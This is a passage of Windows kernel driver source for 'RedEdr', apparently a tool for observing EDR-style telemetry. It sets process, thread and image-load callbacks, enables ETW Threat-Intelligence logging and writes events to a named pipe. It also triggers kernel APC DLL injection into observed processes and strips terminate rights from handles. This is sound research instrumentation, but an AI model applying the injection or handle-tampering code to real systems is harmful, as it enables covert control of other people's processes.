before the driver loaded.\nVOID EnableTelemetryLoggingForProcessByName(PCWSTR targetName) {\n#define SystemProcessInformation 5\n    typedef struct _SYSTEM_PROCESS_INFORMATION {\n        ULONG           NextEntryOffset;\n        ULONG           NumberOfThreads;\n        LARGE_INTEGER   Reserved[3];\n        LARGE_INTEGER   CreateTime;\n        LARGE_INTEGER   UserTime;\n        LARGE_INTEGER   KernelTime;\n        UNICODE_STRING  ImageName;\n        KPRIORITY       BasePriority;\n        HANDLE          UniqueProcessId;\n        HANDLE          InheritedFromUniqueProcessId;\n        ULONG           HandleCount;\n        ULONG           SessionId;\n        ULONG_PTR       PageDirectoryBase;\n        SIZE_T          PeakVirtualSize;\n        SIZE_T          VirtualSize;\n        ULONG           PageFaultCount;\n        SIZE_T          PeakWorkingSetSize;\n        SIZE_T          WorkingSetSize;\n        SIZE_T          QuotaPeakPagedPoolUsage;\n        SIZE_T          QuotaPagedPoolUsage;\n        SIZE_T          QuotaPeakNonPagedPoolUsage;\n        SIZE_T          QuotaNonPagedPoolUsage;\n        SIZE_T          PagefileUsage;\n        SIZE_T          PeakPagefileUsage;\n        SIZE_T          PrivatePageCount;\n        LARGE_INTEGER   ReadOperationCount;\n        LARGE_INTEGER   WriteOperationCount;\n        LARGE_INTEGER   OtherOperationCount;\n        LARGE_INTEGER   ReadTransferCount;\n        LARGE_INTEGER   WriteTransferCount;\n        LARGE_INTEGER   OtherTransferCount;\n    } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\n    ULONG bufferSize = 1024 * 1024; // 1 MB initial allocation\n    PVOID buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, bufferSize, 'PrEn');\n    if (buffer == NULL) {\n        LOG_A(LOG_WARNING, \"[RedEdr] EnableTelemetryLoggingForProcessByName: allocation failed\\n\");\n        return;\n    }\n\n    if (g_ZwQuerySystemInformation == NULL) {\n        LOG_A(LOG_WARNING, \"[RedEdr] EnableTelemetryLoggingForProcessByName: ZwQuerySystemInformation not resolved\\n\");\n        ExFreePool(buffer);\n        return;\n    }\n    ULONG returnLength = 0;\n    NTSTATUS status = g_ZwQuerySystemInformation(\n        SystemProcessInformation,\n        buffer,\n        bufferSize,\n        &returnLength\n    );\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_WARNING, \"[RedEdr] EnableTelemetryLoggingForProcessByName: ZwQuerySystemInformation failed 0x%08X\\n\", status);\n        ExFreePool(buffer);\n        return;\n    }\n\n    PSYSTEM_PROCESS_INFORMATION entry = (PSYSTEM_PROCESS_INFORMATION)buffer;\n    for (;;) {\n        // ImageName.Buffer may be NULL for the idle/system processes\n        if (entry->ImageName.Buffer != NULL && entry->ImageName.Length > 0) {\n            UNICODE_STRING targetUs;\n            RtlInitUnicodeString(&targetUs, targetName);\n            if (RtlEqualUnicodeString(&entry->ImageName, &targetUs, TRUE)) {\n                HANDLE pid = entry->UniqueProcessId;\n                PEPROCESS process = NULL;\n                status = PsLookupProcessByProcessId(pid, &process);\n                if (NT_SUCCESS(status)) {\n                    BOOLEAN ok = EnableProcessTelemetryLogging(process);\n                    LOG_A(LOG_INFO, \"[RedEdr] EnableTelemetryLoggingForProcessByName: pid %llu -> %d\\n\",\n                        (ULONG64)pid, ok);\n                    ObDereferenceObject(process);\n                } else {\n                    LOG_A(LOG_WARNING, \"[RedEdr] EnableTelemetryLoggingForProcessByName: PsLookupProcessByProcessId pid %llu failed 0x%08X\\n\",\n                        (ULONG64)pid, status);\n                }\n            }\n        }\n\n        if (entry->NextEntryOffset == 0) {\n            break;\n        }\n        entry = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)entry + entry->NextEntryOffset);\n    }\n\n    ExFreePool(buffer);\n}\n\n\nint InitCallbacks() {\n    UNICODE_STRING funcName;\n    RtlInitUnicodeString(&funcName, L\"ZwSetInformationProcess\");\n    g_ZwSetInformationProcess = (PFN_ZwSetInformationProcess)MmGetSystemRoutineAddress(&funcName);\n    if (g_ZwSetInformationProcess == NULL) {\n        LOG_A(LOG_WARNING, \"[RedEdr] InitCallbacks: failed to resolve ZwSetInformationProcess\\n\");\n    }\n\n    RtlInitUnicodeString(&funcName, L\"ZwQueryInformationProcess\");\n    g_ZwQueryInformationProcess = (PFN_ZwQueryInformationProcess)MmGetSystemRoutineAddress(&funcName);\n    if (g_ZwQueryInformationProcess == NULL) {\n        LOG_A(LOG_WARNING, \"[RedEdr] InitCallbacks: failed to resolve ZwQueryInformationProcess\\n\");\n    }\n\n    RtlInitUnicodeString(&funcName, L\"ZwQuerySystemInformation\");\n    g_ZwQuerySystemInformation = (PFN_ZwQuerySystemInformation)MmGetSystemRoutineAddress(&funcName);\n    if (g_ZwQuerySystemInformation == NULL) {\n        LOG_A(LOG_WARNING, \"[RedEdr] InitCallbacks: failed to resolve ZwQuerySystemInformation\\n\");\n    }\n    return TRUE;\n}\n\nvoid UninitCallbacks() {\n}\n\n\n// For: PsSetCreateProcessNotifyRoutineEx()\nvoid CreateProcessNotifyRoutine(PEPROCESS process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) {\n    // Still execute even if we are globally disabled, but need kapc injection\n    if (!g_Settings.enable_logging && !g_Settings.enable_kapc_injection) {\n        return;\n    }\n    if (createInfo == NULL) {\n        // process is exiting\n        return;\n    }\n    createInfo->CreationStatus = STATUS_SUCCESS;\n\n    ULONG64 systemTime;\n    KeQuerySystemTime(&systemTime);\n\n    PPROCESS_INFO processInfo = LookupProcessInfo(pid);\n    if (processInfo == NULL) {\n        PUNICODE_STRING processName = NULL;\n        PUNICODE_STRING parent_processName = NULL;\n\n        SeLocateProcessImageName(process, &processName);\n\n        PEPROCESS parent_process = NULL;\n        if (NT_SUCCESS(PsLookupProcessByProcessId(createInfo->ParentProcessId, &parent_process))) {\n            SeLocateProcessImageName(parent_process, &parent_processName);\n        }\n\n        //LOG_A(LOG_INFO, \"[RedEdr] Process %wZ created\\n\", processName);\n        //LOG_A(LOG_INFO, \"            PID: %d\\n\", pid);\n        //LOG_A(LOG_INFO, \"            Created by: %wZ\\n\", parent_processName);\n        //LOG_A(LOG_INFO, \"            ImageBase: %ws\\n\", createInfo->ImageFileName->Buffer);\n\n        POBJECT_NAME_INFORMATION objFileDosDeviceName;\n        IoQueryFileDosDeviceName(createInfo->FileObject, &objFileDosDeviceName);\n        //LOG_A(LOG_INFO, \"            DOS path: %ws\\n\", objFileDosDeviceName->Name.Buffer);\n        //LOG_A(LOG_INFO, \"            CommandLine: %ws\\n\", createInfo->CommandLine->Buffer);\n\n        processInfo = ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(PROCESS_INFO), 'Proc');\n        if (!processInfo) {\n            if (processName) ExFreePool(processName);\n            if (parent_processName) ExFreePool(parent_processName);\n            if (parent_process) ObDereferenceObject(parent_process);\n            return;\n        }\n\n        processInfo->ProcessId = pid;\n        Unicodestring2wcharAlloc(processName, processInfo->name, PROC_NAME_LEN);\n        processInfo->ppid = createInfo->ParentProcessId;\n        Unicodestring2wcharAlloc(parent_processName, processInfo->parent_name, PROC_NAME_LEN);\n        processInfo->observe = 0;\n\n        // Search in the unicode atm\n        if (wcslen(g_Settings.target) > 0) {\n            if (IsSubstringInUnicodeString(processName, g_Settings.target)) {\n                processInfo->observe = 1;\n                g_Settings.trace_pid = pid;\n            }\n        }\n        // Check for children\n        // TODO support grandchildren?\n        // TODO use the other pid/ppid to make it more robust against PPID spoofing?\n        if (g_Settings.trace_children && processInfo->ppid == g_Settings.trace_pid) {\n            processInfo->observe = 1;\n        }\n        //LOG_A(LOG_INFO, \"CreateProcessNotify: Process %d created, observe: %i\\n\", \n        //    pid, processInfo->observe);\n\n        AddProcessInfo(pid, processInfo);\n\n        // Release kernel object references and pool allocations from SeLocateProcessImageName\n        if (processName) ExFreePool(processName);\n        if (parent_processName) ExFreePool(parent_processName);\n        if (parent_process) ObDereferenceObject(parent_process);\n    }\n\n    if (g_Settings.enable_logging && processInfo->observe) {\n        char processName[PROC_NAME_LEN];\n        char parentName[PROC_NAME_LEN];\n        char ProcessLine[DATA_BUFFER_SIZE];\n\n        NTSTATUS status;\n        status = WcharToAscii(processInfo->name, wcslen(processInfo->name), processName, sizeof(processName));\n        status = WcharToAscii(processInfo->parent_name, wcslen(processInfo->parent_name), parentName, sizeof(parentName));\n        JsonEscape(processName, PROC_NAME_LEN);\n        JsonEscape(parentName, PROC_NAME_LEN);\n\n        RtlStringCbPrintfA(ProcessLine, DATA_BUFFER_SIZE, \"{\\\"type\\\":\\\"kernel\\\",\\\"time\\\":%llu,\\\"func\\\":\\\"process_create\\\",\\\"krn_pid\\\":%llu,\\\"pid\\\":%llu,\\\"name\\\":\\\"%s\\\",\\\"ppid\\\":%llu,\\\"parent_name\\\":\\\"%s\\\"}\",\n            systemTime,\n            (unsigned __int64)PsGetCurrentProcessId(),\n            (unsigned __int64)pid, \n            processName,\n            (unsigned __int64)createInfo->ParentProcessId, \n            parentName);\n        LogEvent(ProcessLine);\n\n        // Log current ETW-TI flags before modifying them.\n        LogProcessTelemetryLoggingFlags(process, pid);\n\n        // Enable all ETW-TI logging flags so Microsoft-Windows-Threat-Intelligence\n        // emits the full range of events (ReadVM, WriteVM, SetContextThread, etc.)\n        // for this process. Applied to all new processes; RedEdrPplService filters\n        // by observe flag. Must run at PASSIVE_LEVEL - process callbacks qualify.\n        if (g_Settings.enable_etwti_events) {\n            BOOLEAN etwtiEnabledSuccess = EnableProcessTelemetryLogging(process);\n            LOG_A(LOG_INFO, \"Enabled ETW-TI logging for pid %d: %d\\n\", pid, etwtiEnabledSuccess);\n        }\n\n        // Log ETW-TI flags after modification to confirm they were set correctly.\n        LogProcessTelemetryLoggingFlags(process, pid);\n    }\n}\n\n\n// For: PsSetCreateThreadNotifyRoutine()\nvoid CreateThreadNotifyRoutine(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {\n    if (!g_Settings.enable_logging) {\n        return;\n    }\n    PROCESS_INFO* procInfo = LookupProcessInfo(ProcessId);\n    if (procInfo == NULL || !procInfo->observe) {\n        return;\n    }\n\n    ULONG64 systemTime;\n    KeQuerySystemTime(&systemTime);\n\n    char ThreadLine[DATA_BUFFER_SIZE];\n    RtlStringCbPrintfA(ThreadLine, DATA_BUFFER_SIZE, \"{\\\"type\\\":\\\"kernel\\\",\\\"time\\\":%llu,\\\"func\\\":\\\"thread_create\\\",\\\"krn_pid\\\":%llu,\\\"pid\\\":%llu,\\\"threadid\\\":%llu,\\\"create\\\":%d}\",\n        systemTime,\n        (unsigned __int64)PsGetCurrentProcessId(),\n        (unsigned __int64)ProcessId,\n        (unsigned __int64)ThreadId,\n        Create);\n    LogEvent(ThreadLine);\n}\n\n\n// For: PsSetLoadImageNotifyRoutine\nvoid LoadImageNotifyRoutine(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) {\n    UNREFERENCED_PARAMETER(ImageInfo);\n\n    // Still execute even if we are globally disabled, but need kapc injection\n    if (!g_Settings.enable_logging && !g_Settings.enable_kapc_injection) {\n        return;\n    }\n    if (FullImageName == NULL) {\n        return;\n    }\n\n    ULONG64 systemTime;\n    KeQuerySystemTime(&systemTime);\n    wchar_t ImageName[PATH_LEN] = { 0 };\n    char AsciiImageName[PATH_LEN] = { 0 };\n\n    // We may only have KAPC injection, and no logging\n    if (g_Settings.enable_logging) {\n        PROCESS_INFO* procInfo = LookupProcessInfo(ProcessId);\n        if (procInfo != NULL && procInfo->observe) {\n            Unicodestring2wcharAlloc(FullImageName, ImageName, PATH_LEN);\n            WcharToAscii(ImageName, sizeof(ImageName), AsciiImageName, sizeof(AsciiImageName));\n            JsonEscape(AsciiImageName, sizeof(AsciiImageName));\n            char ImageLine[DATA_BUFFER_SIZE];\n            RtlStringCbPrintfA(ImageLine, DATA_BUFFER_SIZE, \"{\\\"type\\\":\\\"kernel\\\",\\\"time\\\":%llu,\\\"func\\\":\\\"image_load\\\",\\\"krn_pid\\\":%llu,\\\"pid\\\":%llu,\\\"image\\\":\\\"%s\\\"}\",\n                systemTime,\n                (unsigned __int64)PsGetCurrentProcessId(),\n                (unsigned __int64)ProcessId,\n               AsciiImageName\n            );\n            LogEvent(ImageLine);\n        }\n    }\n    if (g_Settings.enable_kapc_injection) {\n        PPROCESS_INFO processInfo = LookupProcessInfo(ProcessId);\n        if (processInfo != NULL && processInfo->observe) {\n            // Atomically claim injection: only the first thread to succeed injects.\n            if (InterlockedCompareExchange(&processInfo->injected, 1, 0) == 0) {\n                int result = KapcInjectDll(FullImageName, ProcessId, ImageInfo);\n                if (result) {\n                    LOG_A(LOG_INFO, \"Injected DLL into pid: %d\\n\", ProcessId);\n                } else {\n                    // Reset so injection can be retried on the next image load.\n                    InterlockedExchange(&processInfo->injected, 0);\n                }\n            }\n        }\n    }\n}\n\n\n// For: ObRegisterCallbacks\n\ntypedef struct _TD_CALL_CONTEXT\n{\n    PTD_CALLBACK_REGISTRATION CallbackRegistration;\n\n    OB_OPERATION Operation;\n    PVOID Object;\n    POBJECT_TYPE ObjectType;\n}\nTD_CALL_CONTEXT, * PTD_CALL_CONTEXT;\n\nvoid TdSetCallContext(\n    _Inout_ POB_PRE_OPERATION_INFORMATION PreInfo,\n    _In_ PTD_CALLBACK_REGISTRATION CallbackRegistration\n)\n{\n    PTD_CALL_CONTEXT CallContext;\n\n    CallContext = (PTD_CALL_CONTEXT)ExAllocatePool2(\n        POOL_FLAG_PAGED, sizeof(TD_CALL_CONTEXT), TD_CALL_CONTEXT_TAG\n    );\n\n    if (CallContext == NULL)\n    {\n        return;\n    }\n\n    CallContext->CallbackRegistration = CallbackRegistration;\n    CallContext->Operation = PreInfo->Operation;\n    CallContext->Object = PreInfo->Object;\n    CallContext->ObjectType = PreInfo->ObjectType;\n\n    PreInfo->CallContext = CallContext;\n}\n\n\n#define CB_PROCESS_TERMINATE 0x0001\n#define CB_THREAD_TERMINATE  0x0001\n\n// Callback\nOB_PREOP_CALLBACK_STATUS CBTdPreOperationCallback(\n    _In_ PVOID RegistrationContext,\n    _Inout_ POB_PRE_OPERATION_INFORMATION PreInfo\n)\n{\n    // https://github.com/microsoft/Windows-driver-samples/blob/main/general/obcallback/driver/callback.c\n    if (!g_Settings.enable_logging) {\n        return OB_PREOP_SUCCESS;\n    }\n\n    PTD_CALLBACK_REGISTRATION CallbackRegistration;\n\n    ACCESS_MASK AccessBitsToClear = 0;\n    ACCESS_MASK AccessBitsToSet = 0;\n    ACCESS_MASK InitialDesiredAccess = 0;\n    ACCESS_MASK OriginalDesiredAccess = 0;\n\n\n    PACCESS_MASK DesiredAccess = NULL;\n\n    LPCWSTR ObjectTypeName = NULL;\n    LPCWSTR OperationName = NULL;\n\n    // Not using driver specific values at this time\n    CallbackRegistration = (PTD_CALLBACK_REGISTRATION)RegistrationContext;\n\n\n    // Only want to filter attempts to access protected process\n    // all other processes are left untouched\n\n    if (PreInfo->ObjectType == *PsProcessType) {\n        //\n        // Ignore requests for processes other than our target process.\n        //\n\n        // if (TdProtectedTargetProcess != NULL &&\n        //    TdProtectedTargetProcess != PreInfo->Object)\n        /*if (TdProtectedTargetProcess != PreInfo->Object)\n        {\n            goto Exit;\n        }*/\n\n        //\n        // Also ignore requests that are trying to open/duplicate the current\n        // process.\n        //\n\n        if (PreInfo->Object == PsGetCurrentProcess()) {\n            DbgPrintEx(\n                DPFLTR_IHVDRIVER_ID, DPFLTR_TRACE_LEVEL,\n                \"ObCallbackTest: CBTdPreOperationCallback: ignore process open/duplicate from the protected process itself\\n\");\n            goto Exit;\n        }\n\n        ObjectTypeName = L\"PsProcessType\";\n        AccessBitsToClear = CB_PROCESS_TERMINATE;\n        AccessBitsToSet = 0;\n    }\n    else if (PreInfo->ObjectType == *PsThreadType) {\n        HANDLE ProcessIdOfTargetThread = PsGetThreadProcessId((PETHREAD)PreInfo->Object);\n\n        //\n        // Ignore requests for threads belonging to processes other than our\n        // target process.\n        //\n\n        // if (CallbackRegistration->TargetProcess   != NULL &&\n        //     CallbackRegistration->TargetProcessId != ProcessIdOfTargetThread)\n        /*if (TdProtectedTargetProcessId != ProcessIdOfTargetThread) {\n            goto Exit;\n        }*/\n\n        //\n        // Also ignore requests for threads belonging to the current processes.\n        //\n\n        if (ProcessIdOfTargetThread == PsGetCurrentProcessId()) {\n            DbgPrintEx(\n                DPFLTR_IHVDRIVER_ID, DPFLTR_TRACE_LEVEL,\n                \"ObCallbackTest: CBTdPreOperationCallback: ignore thread open/duplicate from the protected process itself\\n\");\n            goto Exit;\n        }\n\n        ObjectTypeName = L\"PsThreadType\";\n        AccessBitsToClear = CB_THREAD_TERMINATE;\n        AccessBitsToSet = 0;\n    }\n    else {\n        DbgPrintEx(\n            DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,\n            \"ObCallbackTest: CBTdPreOperationCallback: unexpected object type\\n\");\n        goto Exit;\n    }\n\n    switch (PreInfo->Operation) {\n    case OB_OPERATION_HANDLE_CREATE:\n        DesiredAccess = &PreInfo->Parameters->CreateHandleInformation.DesiredAccess;\n        OriginalDesiredAccess = PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess;\n\n        OperationName = L\"OB_OPERATION_HANDLE_CREATE\";\n        break;\n\n    case OB_OPERATION_HANDLE_DUPLICATE:\n        DesiredAccess = &PreInfo->Parameters->DuplicateHandleInformation.DesiredAccess;\n        OriginalDesiredAccess = PreInfo->Parameters->DuplicateHandleInformation.OriginalDesiredAccess;\n\n        OperationName = L\"OB_OPERATION_HANDLE_DUPLICATE\";\n        break;\n\n    default:\n        break;\n    }\n\n    InitialDesiredAccess = *DesiredAccess;\n\n    // Filter only if request made outside of the kernel\n    if (PreInfo->KernelHandle != 1) {\n        *DesiredAccess &= ~AccessBitsToClear;\n        *DesiredAccess |= AccessBitsToSet;\n    }\n\n    //\n    // Set call context.\n    //\n    // TODO necessary?\n    TdSetCallContext(PreInfo, CallbackRegistration);\n\n\n    /*DbgPrintEx(\n        DPFLTR_IHVDRIVER_ID, DPFLTR_TRACE_LEVEL, \"ObCallbackTest: CBTdPreOperationCallback: PROTECTED process %p (ID 0x%p)\\n\",\n        TdProtectedTargetProcess,\n        (PVOID)TdProtectedTargetProcessId\n    );*/\n\n    if (1) {\n        char line[DATA_BUFFER_SIZE] = { 0 };\n        RtlStringCbPrintfA(line, DATA_BUFFER_SIZE, \"%p:%p;%p;%ls;%ls;%d,0x%x,0x%x,0x%x\",\n            /*\"ObCallbackTest: CBTdPreOperationCallback\\n\"\n            \"    Client Id:    %p:%p\\n\"\n            \"    Object:       %p\\n\"\n            \"    Type:         %ls\\n\"\n            \"    Operation:    %ls (KernelHandle=%d)\\n\"\n            \"    OriginalDesiredAccess: 0x%x\\n\"\n            \"    DesiredAccess (in):    0x%x\\n\"\n            \"    DesiredAccess (out):   0x%x\\n\",*/\n            PsGetCurrentProcessId(),\n            PsGetCurrentThreadId(),\n            PreInfo->Object,\n            ObjectTypeName,\n            OperationName,\n            PreInfo->KernelHandle,\n            OriginalDesiredAccess,\n            InitialDesiredAccess,\n            *DesiredAccess);\n        LogEvent(line);\n    } else {\n        DbgPrintEx(\n            DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,\n            \"ObCallbackTest: CBTdPreOperationCallback\\n\"\n            \"    Client Id:    %p:%p\\n\"\n            \"    Object:       %p\\n\"\n            \"    Type:         %ls\\n\"\n            \"    Operation:    %ls (KernelHandle=%d)\\n\"\n            \"    OriginalDesiredAccess: 0x%x\\n\"\n            \"    DesiredAccess (in):    0x%x\\n\"\n            \"    DesiredAccess (out):   0x%x\\n\",\n            PsGetCurrentProcessId(),\n            PsGetCurrentThreadId(),\n            PreInfo->Object,\n            ObjectTypeName,\n            OperationName,\n            PreInfo->KernelHandle,\n            OriginalDesiredAccess,\n            InitialDesiredAccess,\n            *DesiredAccess\n        );\n    }\n\nExit:\n    return OB_PREOP_SUCCESS;\n}\n\n"
  },
  {
    "path": "RedEdrDriver/kcallbacks.h",
    "content": "#pragma once\n\n#include <Ntifs.h>\n#include <ntddk.h>\n\n\n#define TD_CALLBACK_REGISTRATION_TAG  '0bCO' // TD_CALLBACK_REGISTRATION structure.\n#define TD_CALL_CONTEXT_TAG           '1bCO' // TD_CALL_CONTEXT structure.\n\n\n/** For ObRegisterCallbacks **/\ntypedef struct _TD_CALLBACK_PARAMETERS {\n    ACCESS_MASK AccessBitsToClear;\n    ACCESS_MASK AccessBitsToSet;\n}\nTD_CALLBACK_PARAMETERS, * PTD_CALLBACK_PARAMETERS;\ntypedef struct _TD_CALLBACK_REGISTRATION {\n    // Handle returned by ObRegisterCallbacks.\n    PVOID RegistrationHandle;\n\n    // If not NULL, filter only requests to open/duplicate handles to this\n    // process (or one of its threads).\n    PVOID TargetProcess;\n    HANDLE TargetProcessId;\n\n    // Currently each TD_CALLBACK_REGISTRATION has at most one process and one\n    // thread callback. That is, we can't register more than one callback for\n    // the same object type with a single ObRegisterCallbacks call.\n    TD_CALLBACK_PARAMETERS ProcessParams;\n    TD_CALLBACK_PARAMETERS ThreadParams;\n\n    // Index in the global TdCallbacks array.\n    ULONG RegistrationId;\n}\nTD_CALLBACK_REGISTRATION, * PTD_CALLBACK_REGISTRATION;\n\nint InitCallbacks();\nvoid UninitCallbacks();\nVOID EnableTelemetryLoggingForProcessByName(PCWSTR targetName);\n\nvoid CreateProcessNotifyRoutine(PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO);\nvoid CreateThreadNotifyRoutine(HANDLE, HANDLE, BOOLEAN);\nvoid LoadImageNotifyRoutine(PUNICODE_STRING, HANDLE, PIMAGE_INFO);\nOB_PREOP_CALLBACK_STATUS CBTdPreOperationCallback(PVOID, POB_PRE_OPERATION_INFORMATION);\n"
  },
  {
    "path": "RedEdrDriver/settings.c",
    "content": "\n#include \"settings.h\"\n\n\nSettings g_Settings;\n\n\nvoid init_settings() {\n\tg_Settings.init_processnotify = 1;\n\tg_Settings.init_threadnotify = 1;\n\tg_Settings.init_imagenotify = 1;\n\tg_Settings.init_obnotify = 0; // too much data, no parser\n\n\tg_Settings.enable_kapc_injection = 0;\n\tg_Settings.enable_logging = 0;\n\n\tg_Settings.trace_pid = 0;\n\tg_Settings.trace_children = 0;\n\n\twcscpy_s(g_Settings.target, TARGET_WSTR_LEN, L\"\"); // disable\n}\n\n\nvoid print_settings() {\n\n}\n"
  },
  {
    "path": "RedEdrDriver/settings.h",
    "content": "#pragma once\n\n#include <ntddk.h>\n\n#include \"../Shared/common.h\"\n\ntypedef struct _Settings{\n\tint init_processnotify;\n\tint init_threadnotify;\n\tint init_imagenotify;\n\tint init_obnotify;\n\n\tint enable_kapc_injection;\n\tint enable_logging;\n\tint enable_etwti_events;\n\tint enable_etwti_events_defender;\n\n\tHANDLE trace_pid;\n\tint trace_children;\n\tWCHAR target[TARGET_WSTR_LEN];  // zero length means disabled\n} Settings;\n\n\n// Declare a global configuration instance\nextern Settings g_Settings;\n\nvoid init_settings();\nvoid print_settings();"
  },
  {
    "path": "RedEdrDriver/upipe.c",
    "content": "#include <Ntifs.h>\n#include <ntddk.h>\n\n#include \"../Shared/common.h\"\n#include \"utils.h\"\n#include \"upipe.h\"\n\n\n// Handle that we will use to communicate with the named pipe to userspace\nHANDLE hPipe = NULL;\n\n// Spinlock to protect pipe handle access\nKSPIN_LOCK pipeLock;\n\n\n// Initialize the pipe subsystem\nvoid InitializePipe() {\n    KeInitializeSpinLock(&pipeLock);\n    hPipe = NULL;\n}\n\n// Cleanup the pipe subsystem\nvoid CleanupPipe() {\n    DisconnectUserspacePipe();\n}\n\n\nint IsUserspacePipeConnected() {\n    BOOLEAN connected;\n    KIRQL oldIrql;\n    KeAcquireSpinLock(&pipeLock, &oldIrql);\n    connected = (hPipe != NULL);\n    KeReleaseSpinLock(&pipeLock, oldIrql);\n    return connected;\n}\n\n\n// log the event message (write to pipe)\nint LogEvent(char* message) {\n    if (message == NULL) {\n        LOG_A(LOG_INFO, \"uPipe: message parameter is NULL\");\n        return 0;\n    }\n\n    HANDLE currentPipe;\n    KIRQL oldIrql;\n    KeAcquireSpinLock(&pipeLock, &oldIrql);\n    currentPipe = hPipe;\n    KeReleaseSpinLock(&pipeLock, oldIrql);\n\n    if (currentPipe == NULL) {\n        LOG_A(LOG_INFO, \"uPipe: cannot log as pipe is closed\");\n        return 0;\n    }\n\n    NTSTATUS status;\n    IO_STATUS_BLOCK io_stat_block;\n    ULONG len = (ULONG) strlen(message);\n    \n    // Validate message length\n    if (len == 0 || len > PIPE_BUFFER_SIZE - 1) {\n        LOG_A(LOG_INFO, \"uPipe: invalid message length: %lu\", len);\n        return 0;\n    }\n    \n    len += 1; // include end \\x00\n    \n    status = ZwWriteFile(\n        currentPipe,\n        NULL,\n        NULL,\n        NULL,\n        &io_stat_block,\n        message,\n        len,\n        NULL,\n        NULL\n    );\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_INFO, \n            \"uPipe: ZwWriteFile: Error ZwWriteFile: 0x%0.8x\", status);\n        \n        // Mark pipe as disconnected on error\n        KeAcquireSpinLock(&pipeLock, &oldIrql);\n        hPipe = NULL;\n        KeReleaseSpinLock(&pipeLock, oldIrql);\n        return 0;\n    }\n    return 1;\n}\n\n\nvoid DisconnectUserspacePipe() {\n    HANDLE pipeToClose = NULL;\n    KIRQL oldIrql;\n\n    KeAcquireSpinLock(&pipeLock, &oldIrql);\n    pipeToClose = hPipe;\n    hPipe = NULL;\n    KeReleaseSpinLock(&pipeLock, oldIrql);\n    \n    if (pipeToClose != NULL) {\n        ZwClose(pipeToClose);\n        LOG_A(LOG_INFO, \"uPipe: Disconnected from userspace server\");\n    }\n}\n\n\n// Connect to the userspace daemon\nint ConnectUserspacePipe() {\n    UNICODE_STRING pipeName;\n    KIRQL oldIrql;\n    RtlInitUnicodeString(&pipeName, DRIVER_KERNEL_PIPE_NAME);\n\n    OBJECT_ATTRIBUTES fattrs = { 0 };\n    IO_STATUS_BLOCK io_stat_block;\n    HANDLE newPipe = NULL;\n\n    InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL);\n\n    NTSTATUS status = ZwCreateFile(\n        &newPipe,\n        FILE_WRITE_DATA | SYNCHRONIZE,\n        &fattrs,\n        &io_stat_block,\n        NULL,\n        0,\n        FILE_SHARE_READ | FILE_SHARE_WRITE,\n        FILE_OPEN,\n        FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,\n        NULL,\n        0\n    );\n    if (NT_SUCCESS(status)) {\n        KeAcquireSpinLock(&pipeLock, &oldIrql);\n        hPipe = newPipe;\n        KeReleaseSpinLock(&pipeLock, oldIrql);\n        \n        LOG_A(LOG_INFO, \"uPipe: Connected to userspace server successfully\");\n        return 1;\n    }\n    else {\n        LOG_A(LOG_INFO, \"uPipe: Could not connect to userspace server (status: 0x%0.8x), RedEdr.exe --kernel running?\", status);\n        return 0;\n    }\n}\n\n"
  },
  {
    "path": "RedEdrDriver/upipe.h",
    "content": "#pragma once\n\n// Function declarations\nvoid InitializePipe();\nvoid CleanupPipe();\nint LogEvent(char*);\nint IsUserspacePipeConnected();\nvoid DisconnectUserspacePipe();\nint ConnectUserspacePipe();"
  },
  {
    "path": "RedEdrDriver/utils.c",
    "content": "#include <Ntifs.h>\n#include <ntstrsafe.h>  // Required for RtlStringCbVPrintfA\n\n#include \"../Shared/common.h\"\n\n#define KRN_LOG_LEN 512\n\n\nvoid LOG_A(int severity, const char* format, ...)\n{\n    UNREFERENCED_PARAMETER(severity);\n    char message[KRN_LOG_LEN] = \"[RedEdr KRN] \";\n    size_t offset = strlen(message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n\n    // Use RtlStringCbVPrintfA for kernel-safe string formatting\n    RtlStringCbVPrintfA(&message[offset], KRN_LOG_LEN - offset, format, arg_ptr);\n\n    va_end(arg_ptr);\n\n    // Use DbgPrintEx for kernel logging\n    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, \"%s\", message);\n}\n\n\n// TODO SLOW\nint IsSubstringInUnicodeString(PUNICODE_STRING pDestString, PCWSTR pSubString) {\n    if (pDestString->Length == 0 || pDestString->Buffer == NULL || pSubString == NULL) {\n        return FALSE;\n    }\n    size_t lengthInWchars = pDestString->Length / sizeof(WCHAR);\n    WCHAR tempBuffer[PATH_LEN];\n    \n    // Ensure we don't overflow the temp buffer\n    if (lengthInWchars >= sizeof(tempBuffer) / sizeof(WCHAR)) {\n        return FALSE;\n    }\n    \n    // Safely copy and null-terminate\n    RtlCopyMemory(tempBuffer, pDestString->Buffer, pDestString->Length);\n    tempBuffer[lengthInWchars] = L'\\0';\n    \n    int result = wcsstr(tempBuffer, pSubString) != NULL;\n    return result;\n}\n\n\nvoid Unicodestring2wcharAlloc(const UNICODE_STRING* ustr, wchar_t* dest, size_t destSize)\n{\n    if (!ustr || !dest || destSize == 0) {\n        return;  // Invalid arguments\n    }\n    \n    size_t numChars = ustr->Length / sizeof(WCHAR);\n    size_t copyLength = numChars < destSize - 1 ? numChars : destSize - 1;\n    \n    // Use safer kernel function\n    RtlCopyMemory(dest, ustr->Buffer, copyLength * sizeof(WCHAR));\n    dest[copyLength] = L'\\0';\n}\n\n\nNTSTATUS WcharToAscii(const wchar_t* wideStr, SIZE_T wideLength, char* asciiStr, SIZE_T asciiBufferSize) {\n    if (!wideStr || !asciiStr || asciiBufferSize == 0) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    SIZE_T copyLength = wideLength < asciiBufferSize - 1 ? wideLength : asciiBufferSize - 1;\n    \n    for 